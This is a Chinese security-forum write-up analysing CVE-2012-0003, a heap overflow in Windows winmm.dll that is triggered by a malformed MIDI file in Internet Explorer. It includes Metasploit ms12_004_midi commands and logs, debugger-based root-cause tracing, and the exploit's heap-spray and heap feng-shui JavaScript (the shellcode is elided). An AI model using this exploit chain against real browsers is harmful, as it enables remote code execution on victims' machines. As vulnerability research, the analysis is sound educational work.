首页
社区
课程
招聘
[原创]CVE-2012-0003漏洞分析(堆溢出
发表于: 2020-1-24 16:17 10468

[原创]CVE-2012-0003漏洞分析(堆溢出

2020-1-24 16:17
10468

msf生成恶意文件

目标机器xp用IE浏览器打开此恶意URL,成功弹出计算器

注意:若目标机器中对IE浏览器开启页堆,则IE会直接报错,不会弹出(默认页堆是关闭的

msf中也得到相关记录

PS:也可设置payload为强大的meterpreter,获取反弹shell

页堆关闭情况下,计算器会弹出,但IE窗口会马上关闭,来不及提取html

故先将页堆开启,使其弹出报错框,而不至于让IE关闭。

右键-查看源文件,将内容复制并保存为“exploit.html”

image-20200120164118860

html中搜索”mid“,找到相关媒体文件,IE中打开其地址,会默认打开media player,鼓捣一番,发现并不能保存到本地

image-20200120164553668

使用wget会直接404错误,而msf中也会提示未知的UA头

image-20200120164932911

通过--user-agent参数,借用一下IE浏览器的UA头,成功下载

最终命令为:wget --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" http://127.0.0.1:8080/uMMCLOKsr/ojGEs.mid

image-20200120170403958

修改html中mid路径为相对路径,将二者放置同一目录,搭建本地环境以方便测试。

image-20200120171038366

MIDI文件由若干块组成,两种块:头块和音轨块

每个块 = 标记 + 长度 + 数据,标记与长度均占4字节,格式如下:

image-20200123121218589

头块中的块数据主要包含:格式类型、音轨数和时间计数值

image-20200123121444591

音轨块中的块数据便是音轨事件数据,常见的音轨事件如下

image-20200123121543841

堆管理器中提供一些调试选项用于辅助堆调试,通过 Windbg 提供的 gflags. exe或者!gflag 命令来设置,常见调试选项如下

堆尾检查

页堆机制

基于导图推算的漏洞分析方法

为方便调试:gflags.exe开启页堆、关闭OD的”忽略异常“相关选项

image-20200122115206448

image-20200122115227100

image-20200122115245944

OD附加IE浏览器,拖入/打开exploit.html,产生访问异常,此处便是崩溃点

image-20200122115410646

IDA中打开目标模块winmm.dll(需加载相应的符号文件),找到崩溃点所在地址,F5查看伪C代码,得知引起崩溃的是v25(对其解引用造成的)

image-20200122115649819

借助IDA中伪C代码,对v25变量进行追溯,最终找到参数a1(在线绘图:https://www.draw.io)

image-20200124113602071

仅通过上述各变量间的联系,暂未发现有价值的信息,现对各变量设置条件记录断点,观察各变量值变化如何

找到能够准确反映变量值的位置,如下表所示:

| 变量 | C代码 | 汇编指令 | 记录值 | 地址 |
| ------ | ---------------------------- | ----------------------------- | ------ | -------- |
| v1 | v2 = (_DWORD )(v1 + 60); | mov esi, [edi+3Ch] | edi | 76B2D050 |
| v2 | v3 = (_DWORD )v2; | mov ecx, [esi] | esi | 76B2D06D |
| v9 | v11 = (_DWORD )(v9 + v37); | mov ecx, [ebx+eax] | ebx | 76B2D0B5 |
| V11 | v13 = v11 & 0xFFFFFF; | and ecx, 0FFFFFFh | ecx | 76B2D0C3 |
| V13 | v35 = v13; | mov [ebp+var_8], ecx | ecx | 76B2D0D1 |
| V20 | v29 = (_BYTE )(v24 + v20); | lea edx, [eax+esi] | esi | 76B2D248 |
| V21 | v36 = v21 & 0xF0; | and dl, 0F0h | dl | 76B2D1F3 |
| V24 | v25 = (char
)(v24 + v20); | add esi, eax | eax | 76B2D21E |
| 参数a1 | if ( !(_DWORD )(a1 + 52) ) | cmp dword ptr [edi+34h], 0 | edi | 76B2D044 |

ctrl+g到指定的位置,shift+F4下条件记录断点(暂停程序-从不、记录表达数值-永远)

image-20200123114834965

最终设置的断点如下

image-20200123115410150

ctrl+F2重新运行,alt+L打开日志窗口,得到如下信息:

image-20200123115637787

观察各变量,寻找规律

触发访问异常时,v11=v13=0073B29F,v21=9F,由上述MIDI格式所言,0x9n为”打开音符“的音轨类型。

由此可推断,v11/13为包含参数的音轨事件,v21为具体的音轨事件类型

打开上述提取到的mid文件,也可证实这一点

image-20200123122022089

shift+F2对v11/13下条件断点,当音轨事件为0073B29F时断下,单步跟踪,详细分析

通过“打开音符”音轨事件计算出偏移0x419,esi中存储的是某基址,基址+偏移后越界,解引用后造成访问异常

image-20200123125833593

继续追踪esi中的基址,IDA中提示为v20局部变量,追根溯源找到参数a1

v20来自v1:v20 = *(_DWORD *)(v1 + 132);

v1来自参数a1:v1 = wParam;

image-20200123130305451

光标移至函数名,右键-jump to xref,查看何处调用此函数,从而找到传的参数

image-20200124113811423

参数wParam来自midiOutPlayNextPolyEvent函数内的局部变量v6,而v6来自gpEmuList

image-20200124113918189

查看gpEmuList的引用情况,看“up”方向,w-写操作的,最终找到mesOpen函数

image-20200124114006619

mesOpen内部又调用了winmmAlloc函数

image-20200124114129683

其正是一个堆空间分配函数

image-20200124114301483

综上所述,做一下变量等价替换,最终得到:esi指向申请的400字节堆空间

至此,就能够清晰的看到漏洞是如何形成的:

PS:此处之所以将其归为堆溢出,而非数组越界索引,是因为它是向固定堆块大小之外的地方执行写操作,而且不存在索引数组的动作,这与堆溢出类似,所以将该漏洞定性为堆溢出也算合理。(摘自《漏洞战争》

从exploit.html中提取出关键js代码,共有三部分

(PS:精简过只留大体框架、堆喷射部分并非本文重点

第二段js代码分析:

每个属性类型的定义,在内存均用不同的数值表示,比如 0x09 代表 Object,0x08 代表 String

image-20200124141010461

找到分配空间与释放空间的地方,以便设置条件记录断点

分配:CAttrArray::Clone函数

image-20200124124541997

释放:CImplAry::Delete函数

image-20200124125008678

漏洞利用思想:1000个元素的数组,经过间隔释放后,会留有许多间隙,当目标程序在处理音轨事件时,会调用winmmAlloc函数来申请堆空间(如上漏洞成因所言),新申请的堆空间会“插空“,刚好占在被释放的元素位置上,这样其左右两侧均是数组元素,若对此堆空间进行操作,使之产生溢出,则会影响两侧的数据,进而控制程序实施恶意操作。

找到申请堆空间的地方,以便获取堆空间地址,如下eax作为函数返回值便是。

image-20200124120452736

在数组元素分配、释放以及堆空间申请的地方设置条件记录断点,来验证漏洞利用思想是否正确,除此之外,在崩溃点也设置断点(一般断点),以便进行下一步的调试(为避免程序被异常中断,先关闭页堆机制)

image-20200124134030679

alt+T查看日志消息,如上所言,新申请的堆空间实现了“插空“(占在刚释放的数组元素上),地址为0x02B174F0

到达崩溃点时,esi指向0x08,即w0属性String

image-20200124141230272

后续在处理NoteOn事件时,会将读取的字节+1并重新写入,0x08+1 = 0x09,由string类型变为Object类型,此时其字符串"0x0c0c0c0c"也会作为指针/地址解析(典型的堆喷射地址)

image-20200124141520627

第三段js代码分析

属性非String时,会调用CAttrValue::GetIntoVariant 函数,此函数会获取虚表指针、调用虚函数,从而控制程序执行流程

image-20200124143956292

执行到“获取虚表指针”指令处,虚表指针正是w0的字符串“0x0c0c0c0c”,此时其作为指针解析(堆喷射地址)

image-20200124144402834

接下来调用虚函数,call地址为0c0c0c0c,进入布置好的堆空间,经过滑块指令到达shellcode,成功执行,漏洞利用成功!

image-20200124144711946

(祝大家新年快乐、身体健康,肺炎疫情赶紧过去!

 # 搜索并使用模块
 msf5 > search cve-2012-0003
 msf5 > use exploit/windows/browser/ms12_004_midi
 # 设置payload
 msf5 exploit(windows/browser/ms12_004_midi) > set payload windows/exec
 # 设置payload参数,弹出计算器(exploit模块参数保持默认即可
 msf5 exploit(windows/browser/ms12_004_midi) > set cmd calc.exe
 # 攻击:开启服务器,等待目标连接
 msf5 exploit(windows/browser/ms12_004_midi) > exploit
 [*] Exploit running as background job 0.
 [*] Exploit completed, but no session was created.
 msf5 exploit(windows/browser/ms12_004_midi) >
 [*] Using URL: http://0.0.0.0:8080/uMMCLOKsr
 [*] Local IP: http://127.0.0.1:8080/uMMCLOKsr
 [*] Server started.
 [*] 192.168.156.151  ms12_004_midi - Request as: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
 [*] 192.168.156.151  ms12_004_midi - Sending html to 192.168.156.151:1184...
 [*] 192.168.156.151  ms12_004_midi - Request as: Windows-Media-Player/9.00.00.4503
 [*] 192.168.156.151  ms12_004_midi - Sending midi corruption file...
 C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe -i IExplore.exe +hpa
 Current Registry Settings for IExplore.exe executable are: 02000000
     hpa - Enable page heap
 esi = v20; 
 v20 = *(_DWORD *)(v1 + 132);
 ==> esi = *(_DWORD *)(v1 + 132);
 v1 = wParam = gpEmuList;
 ==> esi = *(_DWORD *)(gpEmuList + 132);
 gpEmuList = v5;
 ==> esi = *(_DWORD *)(v5 + 132);
 *((_DWORD *)v5 + 132) = v6;
 ==> esi = v6;
 v6 = winmmAlloc(0x400u);
 ==> esi = winmmAlloc(0x400u);
 ==> esi指向申请的400字节堆空间
 // 第一部分:进行堆喷射
 <script language='javascript'>
 var heap_obj = new heapLib.ie(0x10000);
 var code = unescape("xxxxxxxxxxxxxxxx");
 var ORF = "%u0c0c%u0c0c";
 var nops = unescape(ORF);

 while (nops.length < 0x1000) nops+= nops;
 var shellcode =  nops.substring(0,0x800 - code.length) + code;
 while (shellcode.length < 0x40000) shellcode += shellcode;

 var block = shellcode.substring(0, (0x80000-6)/2);
 heap_obj.gc();
 for (var i=0; i < 600; i++) {
   heap_obj.alloc(block);
 }
 </script>
 // 第二部分:漏洞利用的关键部分
 <script language='javascript'>
 var heap = new heapLib.ie();
 var selob = document.createElement("select")
 selob.w0 = unescape("%u0c0c%u0c0c")
 selob.w1 = alert
 ...
 selob.w55 = alert

 var clones = new Array(1000);

 function feng_shui() {

   var i = 0;
   while (i < 1000) {
     clones[i] = selob.cloneNode(true)
     i = i + 1;
   }

   var j = 0;
   while (j < 1000) {
     delete clones[j];
     CollectGarbage();
     j  = j + 2;
   }
 }

 feng_shui();

 function trigger(){
   var k = 999;
   while (k > 0) {
     if (typeof(clones[k].w0) == "string") {
     } else {
       clones[k].w0('come on!');
     }
     k = k - 2;
   }
   feng_shui();
   document.audio.Play();
 }
 </script>
 // 第三部分:调用trigger函数,也是关键
 <script for=audio event=PlayStateChange(oldState,newState)>
   if (oldState == 3 && newState == 0) {
     trigger();
   }
 </script>

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2020-2-19 15:49 被21Gun5编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 47
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
请问下,如何查看selob在内存中的内容,这个内存地址是如何定位的?
2020-3-31 11:54
0
游客
登录 | 注册 方可回帖
返回
//